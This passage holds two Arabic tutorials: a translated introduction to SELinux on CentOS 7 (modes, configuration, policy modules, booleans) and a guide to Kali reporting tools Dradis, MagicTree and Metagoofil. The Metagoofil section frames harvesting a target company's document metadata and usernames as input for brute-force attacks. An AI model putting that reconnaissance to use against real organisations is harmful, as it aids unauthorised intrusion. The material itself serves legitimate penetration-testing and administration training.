Main PID: 339 (httpd)

بعد ذلك سوف ننصب vsftp:

yum install vsftpd

 

والنتيجة سوف تكون :

Loaded plugins: fastestmirror, langpacks
...
...
==============================================================================================================
 Package Arch Version Repository Size
==============================================================================================================
Installing:
 vsftpd x86_64 3.0.2-9.el7 base 165 k

Transaction Summary
==============================================================================================================
Install 1 Package

Total download size: 165 k
Installed size: 343 k
Is this ok [y/d/N]:

قم بالضغط على y لتنصيب الحزمة.

بعدها سوف نستخدم أمر service vsftpd start لتشغيل vsftpd daemon.

والنتيجة يجب ان تكون مثل التالي:

Redirecting to /bin/systemctl status vsftpd.service
vsftpd.service – Vsftpd ftp daemon
Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled)
Active: active (running) since Tue 2014-08-19 13:48:57 EST; 4s ago
Process: 599 ExecStart=/usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf (code=exited, status=0/SUCCESS)
Main PID: 600 (vsftpd)


تنصيب حزم SELinux


عدد من الحزم تستعمل في SELinux. بعضها منصب بشكل إفتراضي. هنا قائمة للحزم ل توزيعة Red-Hat.

  • Policycoreutils (تقوم بتزويد خدمات لإدارة SELinux).
  • Policycoreutils-python (تقوم بتزويد خدمات لإدارة SELinux).
  • Selinux-policy (توفر السياسة المرجعية ل SELinux).
  • Selinux-policy-targeted ( توفر السياسة المرجعية ل SELinux).
  • Libselinux-utils (توفر بعض الأدوات لإدارة SELinux).
  • Setroubleshoot-server (توفر بعض الأدوات لرسائل سجل التدقيق بفك الشفرة).
  • Setools (توفر بعض الأدوات لمراقبة سجل التدقيق, سياسة الأستعلام و إدارة حالة الملف).
  • Setools-console (توفر بعض الأدوات لمراقبة سجل التدقيق, سياسة الأستعلام و إدارة حالة الملف).
  • Mcstrans (أدوات لترجمة مختلف المراحل لتسهيل فهم البنية.

بعض من هذه الحزم منصبة مسبقا. و لمعرفة حزم SELinux المنصبة على نظام CentOS 7 لديك, يمكنك تنفيذ بعض الأوامر مثل الأمر التالي(مع أكثر من مصطلح بعد grep ) والتنفيذ يجب ان يكون بصلاحيات root user:

 

rpm -qa | grep selinux

والنتيجة يجب ان تكون كالتالي:

 

libselinux-utils-2.2.2-6.el7.x86_64
libselinux-2.2.2-6.el7.x86_64
selinux-policy-targeted-3.12.1-153.el7.noarch
selinux-policy-3.12.1-153.el7.noarch
libselinux-python-2.2.2-6.el7.x86_64


تستطيع تنزيل الحزم مع الأمر التالي(yem سوف يقوم بتحديث الحزم الموجودة مسبقا) , او فقط الحزم التي تجدها غير موجودة في النظام:

yum install policycoreutils policycoreutils-python selinux-policy selinux-policy-targeted libselinux-utils setroubleshoot-server setools setools-console mcstrans

الأن يجب ان يكون لدينا نظام يحتوي جميع حزم SELinux. لدينا ايضا سيرفرات Apache & SFTP بإعداداتهم الإفتراضية. ونملك ايضا 4 مستخدمين لغرض التجريب ولدينا حساب root.

 

SELinux Modes


سنقوم بالدخول والتعرف اكثر على SELinux, ولنبدأ بالتعرف على الأوضاع التي يعمل بها,  SELinux يملك ثلاث صيغ:

  • عالي (Enforcing).
  • متساهل (Permissive).
  • متوقف (Disabled).

في وضع enforcing mode سيقوم SELinux بفرض سياساته على نظام لينكس ومنع اي محاولات دخول غير مصرح بها من قبل مستخدمين او عمليات. ومحاولات الدخول المفروضة ايضا سوف تكتب ملفات تسجيل ذات صلة بالموضوع. سنتكلم عن السياسات وملفات التسجيل لاحقا.

permissive mode  نصف مفعل , اي ان هذا الوضع لايطبق السياسات  لهذا لايوجد اي رفض لأي دخول. لكن مع اي إنتهاك للسياسة ستكتب الحالات في سجل التدقيق وهذا الوضع يعتبر جيد لتجريب SELinux قبل فرضه على النظام.

واذا كان SELinux بوضع disabled mode فلن يكون النظام محمي نهائيا.

التحقق من حالة ووضع SELinux


بإستخدام الامر (getenforce) يمكننا التأكد من وضع SELinux الحالية.

getenforce

وحاليا يجب ان تكون الوضع disabled والنتيجة كما يلي:

Disabled

وطريقة ثانية للتأكد ايضا باستخدام الأمر (sestatus) :

sestatus

والنتيجة :

SELinux status: disabled

إعدادات ملف SELinux


ملف الإعدادات الرئيسي هو etc/selinux/config/ . ولنستعرض محتوياته نقوم بتطبيق الامر:

cat /etc/selinux/config

والنتيجة:

# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
# enforcing – SELinux security policy is enforced.
# permissive – SELinux prints warnings instead of enforcing.
# disabled – No SELinux policy is loaded.
SELINUX=disabled
# SELINUXTYPE= can take one of these two values:
# targeted – Targeted processes are protected,
# minimum – Modification of targeted policy. Only selected processes are protected.
# mls – Multi Level Security protection.
SELINUXTYPE=targeted

يوجد تعليمتين إثنتين في هذا الملف. أولها SELINUX والتي تحدد وضع  SELinux والتي كما عرفنا تملك ثلاث خيارات.

والتعليمة الثانية SELINUXTYPE تحدد السياسة التي ستستخدم. القيمة الإفتراضية ستكون targeted. مع سياسة targeted سيسمح لك SELinux بتخصيص وضبط أذونات الدخول “access control permissions” بدقة. القيمة الممكنة الثانية هي MLS (multilevel securitty), وهو  وضع متقدمة للحماية ومع هذه القيمة سيطلب منك تنصيب حزم إضافية.

تشغيل و إيقاف SELinux


تشغيل SELinux عملية بسيطة ولكن القيام بإقافه يتطلب خطوتين. لنفترض بأن SELinux متوقف حاليا, وانك قمت بتنصيب جميع حزم SELinux التي أشرنا إليها سابقا.

أولا يجب علينا تعديل ملفetc/selinux/config/  لتغير تعليمة SELINUX الى وضع permissive.

 

vi /etc/sysconfig/selinux


SELINUX=permissive

ضبط الحالة الى permissive مهم جدا لأن كل ملف بالنظام يجب ان توسم محتوياته قبل تطبيق SELinux. عدم القيام بهذا الشئ, أي وسم جميع الملفات يؤدي الى ان كل العمليات المحصورة بمجال محدد (confined domain) ستفشل لأنها لن تستطيع الدخول الى الملفات ذات المحتوى الصحيح. هذا يمكن أن يسبب فشل عملية الإقلاع او بدئيها مع بعض الأخطاء.

الان قم بإقلاع للنظام:

reboot

عملية الإقلاع سوف ترى كل الملفات في السيرفر عليها وسم بمحتوى SELinux. بما أن النظام يعمل بوضع permissive, أخطاء SELinux و رفض الدخول سيتم التبليغ عنها لكن لن توقف اي شي.

قم بالدخول الى السيرفر مرة اخرى بصلاحيات root, بعدها قم بالبحث عن النص التالي “SELinux is preventing” في المحتوى وبالتحديد في ملف var/log/messages/ .

 

cat /var/log/messages | grep “SELinux is preventing”

في حالة لم تكن هنالك أي أخطاء, فيمكننا الإنتقال الى الخطوة القادمة بأمان. لكن من الأفضل ان يتم البحث عن نص يحتوي “SELinux” في ملف /var/log/messages . في نظامنا سنقوم بتنفيذ هذا الأمر:

cat /var/log/messages | grep “SELinux”

سوف يتم إظهار بعض الأخطاء المتعلقة ب GNOME Desktop الذي كان يعمل. فيمكن ان تحصل بسبب أن SELinux كان إما بوضع disabled او permissive.

Aug 20 11:31:14 localhost kernel: SELinux: Initializing.
Aug 20 11:31:16 localhost kernel: SELinux: Disabled at runtime.
Aug 20 11:31:21 localhost journal: Unable to lookup SELinux process context: Invalid argument
Aug 20 11:33:20 localhost gnome-session: SELinux Troubleshooter: Applet requires SELinux be enabled to run.

Aug 20 11:37:15 localhost kernel: SELinux: Initializing.
Aug 20 11:37:17 localhost kernel: SELinux: Disabled at runtime.
Aug 20 11:37:23 localhost journal: Unable to lookup SELinux process context: Invalid argument
Aug 20 11:37:44 localhost gnome-session: SELinux Troubleshooter: Applet requires SELinux be enabled to run.

Aug 20 11:39:42 localhost kernel: SELinux: Initializing.
Aug 20 11:39:44 localhost kernel: SELinux: Disabled at runtime.
Aug 20 11:39:50 localhost journal: Unable to lookup SELinux process context: Invalid argument

 

لاتوجد مشكلة بنوعية هذه الأخطاء.

في المرحلة الثانية, نحتاج الى تعديل ملف config لتغير تعليمة SELINUX من permissive الى enforcing في ملف /etc/sysconfig/selinux .

 


SELINUX=enforcing

ثم سنقوم بإعادة إقلاع السيرفر مرة أخرى.

reboot

عندما يعود السيرفر الى عمله, يمكننا تنفيذ أمر sestatus للتحقق من حالة SELinux. الأن يجب ان يظهر معلومات أكثر عن السيرفر:

SELinux status: enabled
SELinuxfs mount: /sys/fs/selinux
SELinux root directory: /etc/selinux
Loaded policy name: targeted
Current mode: permissive
Mode from config file: error (Success)
Policy MLS status: enabled
Policy deny_unknown status: allowed
Max kernel policy version: 28

تحقق من ملف /var/log/messages :

cat /var/log/messages | grep “SELinux”

 

هنا يجب عدم وجود أخطاء. والنتيجة كما يلي :

Aug 20 11:42:06 localhost kernel: SELinux: Initializing.
Aug 20 11:42:09 localhost systemd[1]: Successfully loaded SELinux policy in 183.302ms.

Aug 20 11:44:25 localhost kernel: SELinux: Initializing.
Aug 20 11:44:28 localhost systemd[1]: Successfully loaded SELinux policy in 169.039ms.

 

التحقق من حالة ووضع SELinux (مرة أخرى)


 

سنقوم بتنفيذ أمر getenforce للتحقق من بوضع SELinux الحالية.

getenforce

ستكون النتيجة كما يلي اذا كان النظام يعمل بوضع enforcing.

Enforcing

بينما النتيجة مختلفة اذا كان بوضع disabled:

Disabled

يمكننا ايضا استخدام أمر sestatus لرؤية مايجري بشكل أفضل:

sestatus

واذا كان SELinux بوضع disabled, فالنتيجة ستظهر الحالة الحالية, الوضع الحالي, الوضع معرف بملف الإعدادات, ونوعية السياسة.

SELinux status: enabled
SELinuxfs mount: /sys/fs/selinux
SELinux root directory: /etc/selinux
Loaded policy name: targeted
Current mode: enforcing
Mode from config file: enforcing
Policy MLS status: enabled
Policy deny_unknown status: allowed
Max kernel policy version: 28

 

بينما اذا كان الوضع disabled فالنتيجة ستظهر:

SELinux status: disabled

نستطيع ان نتحول مؤقتا بين وضعي enforcing و permissive باستخدام أمر setenforce (لايمكننا ان ننفذ أمر setenforce عندما يكون SELinux بوضع disabled.

أولا سنقوم بتغيير الوضع من enforcing الى permissive في نظام CentOS 7:

setenforce permissive

تنفيذ أمر sestatus الأن سيظهر الوضع الحالي ويكون مختلف عن الوضع المعرف في ملف config:

SELinux status: enabled
SELinuxfs mount: /sys/fs/selinux
SELinux root directory: /etc/selinux
Loaded policy name: targeted
Current mode: permissive
Mode from config file: enforcing
Policy MLS status: enabled
Policy deny_unknown status: allowed
Max kernel policy version: 28

قم بالتحويل الى enforcing:

setenforce enforcing

 

سياسة SELinux


 

تتمركز سياسة SELinux في قلب محركه الأمني. السياسة (policy) هي مجموعة من القوانين التي تحدد الأمان وحق الدخول الى اي شئ في النظام والذي يشمل المستخدمين, الأدوار, والعمليات والملفات. السياسة سوف تقوم بتعريف العلاقات بين هذه المجموعات فيما بينها.

 

بعض المصطلحات البسيطة


لفهم السياسة (Policy), لنبدأ اولا بفهم بعض المصطلحات وسنخوض بالتفاصيل لاحقا. سياسة SELinux تحدد دخول المستخدم الى دوره, الدور بالدخول الى Domain و Domain بالدخول الى أنواع الملفات.

المستخدمين:

يملك SELinux مجموعة مسبقة من المستخدمين. كل حساب مستخدم في لينكس يربط مع مستخدم او أكثر من مستخدمي SELinux.

المستخدم يقوم بتشغيل عملية (في لينكس). مثال بسيط على ذلك وهو عند قيام المستخدم jo بفتح مستند في محرر vi (سيكون حساب jo مشغل لعملية vi) او حساب خدمة يقوم بتشغيل httpd daemon. في عالم SELinux تسمى العملية ( daemon او running program) تسمى subject.

الأدوار:

ممكن أن نعبر عن الدور بالبوابة التي تقف بين المستخدم والعملية. يقوم الدور بتحديد أي مستخدم يمكنه الوصول الى العملية. لايمكن أن نعتبر أن الأدوار هي مجموعات ولكن تعتبر فلاتر. تعريف الدور (Role) في SELinux Policy هو تعيين المستخدمين وتحديد اي منهم لهم صلاحية الدخول الى ذاك الدور. أيضا وتقوم بتحديد صلاحية الدخول للدور نفسه للوصول الى Process Domains. يقوم SELinux بتنفيذ مايعرف Role Based Access Control.

Subjects and Objects:

الموضوع  subject عملية ويمكن أن تؤثر على الأجسام objects.

Objects في SELiunux هي اي شئ يمكن ان ينفذ عليه. فيمكن أن يكون ملف, مسار, منفذ, tcp socket, الدوال, او يمكن أن يكون سيرفر. أذونات ال subject مجموعة من الأعمال التي تنفذ على objects.

Domains are for Subjects:

المجال هو محتوى موجود في SELinux subject وهذا المحتوى قابل للتنفيذ. يمكن تبسيط (المحتوى) بأنه مثل غلاف حول subject فيخبر العملية بالذي يمكنها فعلها او عدم فعله. على سبيل المثال: يقوم المجال بتعريف اي من الملفات, المسارات, الروابط, الاجهزة والمنافذ المتاحة لل subjects.

 

أنواع ال Objects

النوع  يمكن إعتباره بانه المحتوى التابع للملف والذي يعبر عنه وعن غرض وجوده. على سبيل المثال يمكن لمحتوى ملف معين ان يشير على أنه web page, او ان الملف ينتمي الى مسار etc/ , او يشير الى ان صاحب الملف يعتبر من مستخدمي SELinux. فإذا محتوى الملف يدعى ب type في لغة SELinux.

ماهي سياسة SELinux

تقوم سياسة SELinux بتحديد دخول المستخدم الى الأدوار, دور الدخول إلى المجالات domains, و المجال يدخل الى types. أولا يجب على المستخدم ان يصرح له بالدخول الى Role ثم Role يجب ان يصرح له للدخول الى Domain. ا Domain بدوره سوف يقوم بتقييد الدخول أنواع محددة من الملفات.

السياسة مجموعة من القوانين التي تحدد اي من المستخدمين يمكنهم تولي أدوار معينة وهذه الأدوار سوف يصرح لها للدخول الى مجالات معينة. المجال بدوره يدخل الى مجموعة معينة من الملفات. الصورة هذه سوف تظهر هذا المفهوم:

1

بالعودة الى موضوع السياسات, فتطبيقات سياسة SELinux تكون بحالة tageted بشكل إفتراضي. اذا تتذكر ملف SELinux config الذي تكلمنا عنه سابقا في هذا المقال, فتعليمة SELINUXTYPE تضبط كـ targeted. هذا يعني في الحالة الإفتراضية سيقوم SELinux بتقييد فقط بعض العمليات في النظام (العمليات التي تكون targeted) أما العمليات التي لن تكون مستهدفة targeted سوف تعمل في المجالات العامة unconfined domains.

بديل ذلك يسمى بنموذج deny-by-default اي الرفض بشكل إفتراضي حيث انه يتم منع اي دخول إلا اذا تم السماح لذلك في السياسة. يأمن هذه النموذج أمان أكثر لكن في هذه الحالة يجب على المطورين توقع أن كل تصريح ممكن (permission) بكل عملية (process) يمكن ان يطلب لكل object محتملة. السلوك الإفتراضي يرى بأن SELinux مهتمة ببعض العمليات فقط ولا تهتم بالطريقة البديلة.

سلوك سياسة SELinux

لنفهم أن سياسة SELinux لم توجد لتحل محل أمن DAC. إذا كانت قاعدة DAC تمنع المستخدم من دخول الملف فإن قواعد سياسة SELinux لن تطبق بسبب أن الخط الاول للدفاع قام بحظر الدخول. قرارات أمن SELinux ستطبق وتنفذ بعد تطبيق أمن DAC.

عند بدء نظام SELinux المفعل ستنقل السياسات الى الذاكرة. سياسة policy تأتي في شكل موحد (modular format), يمكن إعتبارها مثل وحدات kernal المحملة في وقت الإقلاع.

ومثل وحدات kernal, بالإمكان إضافتها أو حذفها بشكل ديناميكي من الذاكرة في وقت الشتغيل (run time). بالنسبة لمخزن السياسة (policy store) الذي يستخدم من قبل SELinux يبقى ملاحق  للوحدات المحملة. أمر setatus يظهر اسم مخزن السياسة. أمر semodule -l يقوم بإظهار جميع وحدات سياسة SELinux المحملة حاليا في الذاكرة.

لننفذ أمر semodule ونرى النتيجة

semodule -l | less

والنتيجة:

abrt 1.2.0
accountsd 1.0.6
acct 1.5.1
afs 1.8.2
aiccu 1.0.2
aide 1.6.1
ajaxterm 1.0.0
alsa 1.11.4
amanda 1.14.2
amtu 1.2.3
anaconda 1.6.1
antivirus 1.0.0
apache 2.4.0

يمكن إستخدام semodule لعدة مهام ثانية مثل تنصيب, إزلة, إعادة تحميل, تحديث, تفعيل و تعطيل وحدات سياسة SELinux.

من المحتمل أنك مهتم بمكان وجود ملفات الوحدات.في أغلب التزيعات الحديثة تشمل الإصدارات الثنائية (binary versions) للوحدات ضمن حزم SELinux. ملف السياسة يملك لاحقة pp. . في نظام تشغيل CentOS 7 سنقوم بتنفيذ الأمر:

ls -l /etc/selinux/targeted/modules/active/modules/

القائمة ستظهر بعض الملفات بلاحقة pp. . وإذا أمعنت النظر فإنهم يتعلقون بتطبيقات مختلفة:


-rw-r–r–. 1 root root 10692 Aug 20 11:41 anaconda.pp
-rw-r–r–. 1 root root 11680 Aug 20 11:41 antivirus.pp
-rw-r–r–. 1 root root 24190 Aug 20 11:41 apache.pp
-rw-r–r–. 1 root root 11043 Aug 20 11:41 apcupsd.pp

علما أن ملفات pp. ليست قابلة للقراءة للأشخاص.

لنتعرف على طريقة عمل بنية SELinux عندما يقلع النظام, وحدات السياسة تتحد لما يعرف ب active policy.بعدها ستنقل السياسة الى الذاكرة. النسخة الثنائية المتحدة للسياسة المحملة ستكون موجودة في مسار /etc/selinux/targeted/policy .

ls -l /etc/selinux/targeted/policy/

سوف تظهر السياسة الفعالة.

total 3428
-rw-r–r–. 1 root root 3510001 Aug 20 11:41 policy.29

 

تغيير إعدادات SELinux Boolean


على الرغم من عدم إمكانية قراءة ملفات وحدة السياسةو لكن توجد طريقة لتغيير إعداداتها. سوف يتم ذلك عبر SELinux booleans. سنقوم بتنفيذ الأمر semanage boolean -l .

semanage boolean -l | less

سوف يظهر هذا الأمر مفاتيح مختلفة يمكن تشغيلها او إطفاؤها, وماهي وظيفتهم وحالتهم الحالية:

ftp_home_dir                    (off , off)    Allow ftp to home dir
smartmon_3ware              (off , off)    Allow smartmon to 3ware
mpd_enable_homedirs       (off , off)    Allow mpd to enable homedirs
xdm_sysadm_login            (off , off)    Allow xdm to sysadm login
xen_use_nfs                     (off , off)    Allow xen to use nfs
mozilla_read_content         (off , off)   Allow mozilla to read content
ssh_chroot_rw_homedirs    (off , off)   Allow ssh to chroot rw homedirs
mount_anyfile                   (on , on)    Allow mount to anyfile

يمكننا رؤية الخيار الأول والذي يسمح FTP daemon لدخول مسار user’s home وهو في حالة off حاليا. ولتغيير الإعدادات سنستعمل أمر setsebool.

getsebool ftpd_anon_write

هذا سيظهر بان الحالة off حاليا:

ftpd_anon_write –> off

الأن سنغير boolean لنفعله:

setsebool ftpd_anon_write on

وتفقد القيمة الأن سيظهر التغير الذي حصل:

ftpd_anon_write –> on

التغيرات التي تحصل على boolean ليس دائما وسترجع لقيمتها الأصلية بعد عملية الإقلاع فلجعل الإعدادات دائمة نستخدم p- مع الأمر setsbool.

الخلاصة


في الجزء الأول من هذا الشرح حاولنا تبسيط المفاهيم حول SELinux. رأينا كيف يمكن يقوم SELinux بحماية النظام. كيف يمكن ان نفعله والأوضاع التي يمكن ان يعمل بها. مررنا بموضوع سياسة SELinnux. في المقال القادم سنتعلم كيفية إستخدام SELinux تقييد الدخول الى الملفات والعمليات.

ترجمة لمقال : An Introduction to SELinux on CentOS 7 – Part 1: Basic Concepts لصاحبها Sadequl Hussain


مقال : أدوات إعداد التقارير في kali linux

$
0
0

تقرير اختبار الاختراق يحوي على النتائج الرئيسية لعمليات المسح الأمني في عملية اختبار الاختراق. التقرير النهائي لعملية اختبار الاختراق يعرض الخدمة المقدمة والمنهجية التي تم اتباعها من أجل إيجاد الثغرات والحصول على النتائج والتوصيات. العديد من مختبري الاختراق يعتبرون عملية إعداد التقرير مهمة مملة لأنها تتطلب الكثير من الوقت والجهد.

في هذا المقال سوف نتعرف على الأدوات الموجودة في الكالي والتي تساعد في تسهيل عملية إعداد التقرير، هذه الأدوات مفيدة لحفظ النتيجة النهائية ليتم الإشارة إليها بشكل سريع عند إعداد التقرير وتسمح لك بمشاركة النتائج مع فريق العمل.

سوف نتعرف على طريقة استخدام هذه الأدوات وطرق تصدير نتائج عمليات الفحص من بعض الأدوات المشهورة مثل nmap, Burp, Nikto, OWASP Zap

في هذا المقال سوف نتعرف على الأدوات التالية:

  • Dradis
  • Magic Tree
  • Metagoofil

Dradis:


منصة مفتوحة المصدر تساعد على إعداد تقارير خاصة بخبراء أمن المعلومات والحماية وهذه الأداة تم تطوريها باستخدام لغة البرمجة Ruby

يمكننا الوصول لهذه الأداة في الكالي من خلال:

Application >> Reporting Tools>> Dradis

1

هذه الأداة عبارة عن تطبيق ويب بحد ذاتها وبالتالي يمكننا الوصول إليها من المتصفح من خلال العنوان التالي:

https://127.0.0.1:3004

2

لتخطي رسالة الخطأ الخاصة بالشهادة يمكننا الضغط على “I Understand the Risks” من أجل إضافة استثناء والسماح لهذه الأداة بالعمل.

رسالة الخطأ الخاصة بالشهادة تظهر لأن Dradis تستخدم شهادة موقعة ذاتياً.

3

سوف تظهر الصفحة التالية:

4

الخطوة التالية هي الحصول على كلمة سر server password من أجل الوصول لهذا التطبيق، يمكننا الضغط على ‘Back to the app” من أجل الوصول لصفحة الإعدادات الخاصة بكلمة السر.

يجب أن نقوم بإدخال كلمة السر ومن ثم الضغط على “initialize”

5

يجب أن نقوم بإدخال اسم المستخدم وكلمة السر في الصفحة التالية:

6

وبعد نجاح عملية تسجيل الدخول سوف نحصل على الواجهة التالية:

7

الان يمكننا استخدام هذه الأداة من خلال الضغط على “add branch” وتسميته باسم “Security Test”

8

الان يمكننا الضغط بالزر الأيمن على الفرع branch الجديد الذي تم إنشاءه ومن ثم اختيار “add child” من أجل إضافة sub-branch فرع فرعي.

يوجد نوعان من الخيارات المتاحة:

الأول هو إضافة فرع فرعي sub-branch جديد والثاني هو إضافة جهاز host

9

يمكننا خلق شجرة بحسب الحالة التي نعمل عليها، في الصورة التالية فإن الفرع “Security Test” مقسم إلى ثلاث أفرع فرعية لها الأسماء التالية:

  • PortScan
  • Application Scan
  • Nessus vulnerability scan

وكل من هذه الأفرع الفرعية مقسم أيضاً إلى مجلدات خاصة بأدوات مختلفة.

يمكننا إضافة جهاز host داخل أي فرع أو أي فرع فرعي، في هذا المثال قمنا بإضافة العنوان IP: 10.48.14.12 ضمن مجلد Nmap والهدف من ذلك هو وضع نتيجة الفحص باستخدام nmap للجهاز صاحب العنوان IP: 10.48.14.12

10

يمكننا الضغط على “import file from..” واختيار “NmapUpload” ومن ثم اختيار الملف الذي يحوي على نتيجة عملية الفحص ليتم رفعه
11

ومن ثم الضغط على “Open” لتبدأ عملية التحقق من هذا الملف ورفعه.
12

ويعد الانتهاء من هذه العملية يمكننا رؤية كل المنافذ المفتوحة في الجهاز الهدف.
13

كما يمكننا إضافة ملاحظات إضافية من خلال الضغط على “add note”

14

كما يمكننا إضافة لقطة للشاشة screenshot لأي منفذ أو لأي خدمة من خلال

Attachment >> Add >>

ومن ثم نختار الصورة المطلوبة ليتم رفعها.
15

ومن ثم الضغط على “Upload” ليتم رفع الصورة المحددة.

16

لرؤية هذه الصورة يمكننا الضغط عليها بشكل مزدوج.

17

وبشكل مماثل يمكننا رفع نتائج البحث الخاصة بأدوات أخرى مثل Nessus, burp, Nikti and Owasp ZAP
18
19

وبعد نجاح هذه العملية سيتم عرض كل الثغرات المكتشفة ضمن المجلد الخاص بكل أداة

المثال التالي لرفع نتائج المسح الخاصة بأداةBurp suite

20
21

وبشكل مماثل يمكننا رفع نتائج البحث الخاصة ب Nessus

22
23

 

24

كما يمكن إضافة لقطات للشاشة وملاحظات بنفس الطريقة السابقة.

في الشكل التالي يمكننا رؤية البيانات المرتبة بحسب العمليات ضمن المجلدات الخاصة بكل أداة

25

يمكننا أيضاً تصدير التقرير النهائي على شكل تقرير واحد يحوي على كل هذه المعلومات السابقة، للأسف فإن تصدير التقرير على شكل مستند word or pdf غير متاح إلا في النسخة المدفوعة من هذه الأداة.

للتعرف على الميزات المدعومة في النسخة المدفوعة من هنا .

طريقة تصدير التقرير النهائي على شكل صفحات HTML:

الخطوة 1: نختار النتائج المراد تضمينها في التقرير من خلال الضغط بالزر اليميني على “Category” واختيار “Assign to..” ومن ثم اختيار “HTML Export ready” كما في الشكل التالي:
26
27

الخطوة 2: بعد تضمين النتائج المراد تصديرها في التقرير يمكننا الضغط على “export” واختيار “Html export” كما في الشكل التالي:

28

29

الجدول التالي يظهر أسماء الأدوات وصيغة التقارير المدعومة من قبل Dradis

 

Name

Expects

Burp Scanner output (.xml) file upload

Burp Scanner XML output. Go to the Scanner tab > right-click item > generate report

NeXposeSimpleXML file upload

[undefined]

Nessus output (.nessus) file upload

Nessus XML (V2) format.

Nikto XML file upload

Nikto results XML. Use the -o switch with a file name ending in .xml

Nmap output (.xml) file upload

Nmap results file in XML format. Generate with –oX

OpenVAS XML file upload

[undefined]

Project package upload

A Dradis project archive (.zip) generated through Export > Project export > Full project

Project template upload

A Dradis template XML file generated through Export > Project Export > As template

Retina Network Security Scanner (.xml) file upload

Retina XML Vulnerability Export

SureCheck SQLite3 file upload

Expects an .sc file from SureCheck which is in SQLite3 format

Typhon III vulnerability scanner output file upload

Warning: this plugin is not implemented yet

Web Exploitation Framework (wXf) file upload

wXf output in XML format

ZAP Upload plugin

ZAP Proxy XML reports. Generate through Report > Generate XML Report …

w3af file upload

w3af output in XML format

 

Magic Tree:


عبارة عن أداة لإدارة البيانات وإعداد التقارير بشكل مشابه ل Dradis وهي مصممة لتسمح لنا بترتيب البيانات والاستعلام منها بشكل سهل جداً بالإضافة إلى توليد التقارير، هذه الأداة موجودة بشكل تلقائي في الكالي ضمن التصنيف “Reporting tools”

يمكننا الوصول لهذه الأداة من خلال:

Application >> Reporting Tools >> Magic Tree

 

30

 

31

يمكننا اختيار ملف ليتم رفعه من خلال:

File >> open

 

 

33

وسيتم ترتيب البيانات ضمن عقد كما في الشكل التالي:

34

وعند توسيع العقد يمكننا رؤية البيانات كما في الشكل التالي:

35

يمكننا طلب مجموعة من البيانات من خلال سطر الأوامر، ويوجد عدة طرق مختلفة لطلب البيانات:

Q*: لتشغيل استعلام يحدد كل العقد المحددة حالياً و من نفس النوع.

مثلاً: إذا قمنا باختيار OS ومن ثم قمنا بالضغط على “Q*” فسوف يتم عرض قائمة بكل العقد من نوع OS الموجودة ضمن الحقل “Query”

36

Q1: إذا قمنا باختيار OS ومن ثم الضغط على “Q1” فسوف يتم عرض كل العقد من نوع OS كما يظهر في الشكل التالي:

37

وبهذه الطريقة يمكننا استخراج المعلومات المطلوبة من شجرة البيانات باستخدام سطر الأوامر.

هذه الأداة قادرة على تشغيل nmap من خلال الضغط بالزر الأيمن على “test data” ومن ثم اختيار “Create child” واختيار “Simple node”
38

يجب أن نقوم بإدخال تفاصيل الجهاز الهدف ومن ثم الضغط على Enter

39

الآن يمكننا الضغط على “Q1” وإدخال تعليمة nmap في الحقل “Command” والضغط على “Run”

40

سوف تبدأ nmap بإجراء عملية الفحص المطلوبة وسيتم خلق مهمة جديدة تظهر في أسفل القائمة على يسار الشاشة

41

كما يمكننا الوصول إلى سطر الأوامر ورؤية عملية الفحص من خلال الضغط على “Console”

42

وعند انتهاء عملية الفحص يمكننا رؤية النتائج على شكل XML ضمن العقدة task

43

كما يمكننا نقل النتائج إلى الشجرة الحالية من خلال الضغط على “xmlData” ثم الضغط على “Merge XML data”

44

وعندها سيتم إضافة نتيجة الفحص إلى الجهاز “65.61.137.117” كما يظهر في الشكل التالي:

45

يمكننا توليد تقرير على شكل مستند word من خلال القائمة “Report” ومن ثم اختيار “Generate report”

46

كما يمكننا اختيار شكل التقرير من خلال النماذج المتوفرة

47

ومن ثم تحديد المكان الذي نريد تصدير التقرير إليه

48

التقرير يكون كما في الشكل التالي:

49
50

Magic Tree vs. Dradis:


كلا الأداتين تم تطوريهما للقيام بنفس المهمة وهي إعداد وتوليد التقارير والتعامل مع أداوت اختبار الاختراق المختلفة وإضافة المعلومات بشكل يدوي أو بشكل اتوماتيكي وفي النهاية توليد التقرير النهائي.

الجدول التالي يظهر الفروقات بين الأداتين:

Magic Tree

Dradis

General

Platform support

Multi-platform: Java

Multi-platform: Ruby

Architecture

Desktop application

Client-server. A fat client and a web interface are available

License

Proprietary. Distributed free of charge

Open source. GNU GPL.

Supported import formats

Nmap

Yes

Yes

Nikto

Yes

Yes

Nessus

Yes

Yes

Burp

Yes

Yes

OpenVAS

Yes

Yes

Qualys

Yes

No

Imperva Scuba

Yes

No

Typhon

No

Yes

NeXpose

No

Yes

Netsparker

No

No. User-contributed plug-in exists

W3af

No

Yes

ZAP

No

Yes

Supported report formats

Microsoft Word

Yes

Yes

OpenOffice

Yes

No

HTML

No

Yes

Other features

Adding file attachments to nodes

Yes

Yes

Searching data in the tree

Yes

Yes

Dradis-only features

تدعم تصدير معلومات الثغرات من OSVDB and MediaWiki

التعاون عبر الانترنت من خلال الوصول المتعدد لنفس قاعدة البيانات.

MagicTree-only features

تنفيذ المهمات من خلال سطر الأوامر وجمع نتائج تنفيذ هذه الأوامر.

تحليل البيانات والسماح بالاستعلام عن البيانات من خلال سطر الأوامر

Metagoofil:


أداة لجمع المعلومات مصممة لتقوم باستخراج المعلومات الذاتية metadata من المستندات المنشورة للعامة pdf, doc, xlc, ppt, docx, pptx,  xlsx الخاصة بهدف أو شركة معينة.

وهي جزء من أدوات إعداد التقارير ويمكن أن تعطي الكثير من المعلومات المهمة من خلال فحص الملفات التي تحصل عليها ويمكنها توليد صفحات HTML تحوي على المعلومات الذاتية metadata التي تمكنت من استخراجها بالإضافة إلى قائمة بأسماء المستخدمين المحتملين وهذه المعلومات مفيدة جداً في هجمات القوة الغاشمة brute force attacks على الخدمات التي تعمل على السيرفر مثل ftp, web application, VPN, or pop3

وهذا النوع من المعلومات يساعد مختبر الاختراق في مرحلة الاستطلاع وجمع المعلومات.

هذه الأداة تعمل من خلال الخطوات التالية:

  1. البحث عن الملفات المطلوبة في الموقع الهدف باستخدام محرك البحث google
  2. تحميل كل الملفات التي تم إيجادها.
  3. استخراج المعلومات الذاتية metadata من هذه الملفات.
  4. حفظ النتيجة في صفحات HTML

طريقة استخدام Metagoofil من أجل توليد تقرير لعملية اختبار اختراق:

الخطوة 1: هذه الأداة غير موجودة في الكالي بشكل تلقائي ويمكننا الحصول عليها باستخدام التعليمة التالية:

apt-get install metagoofil

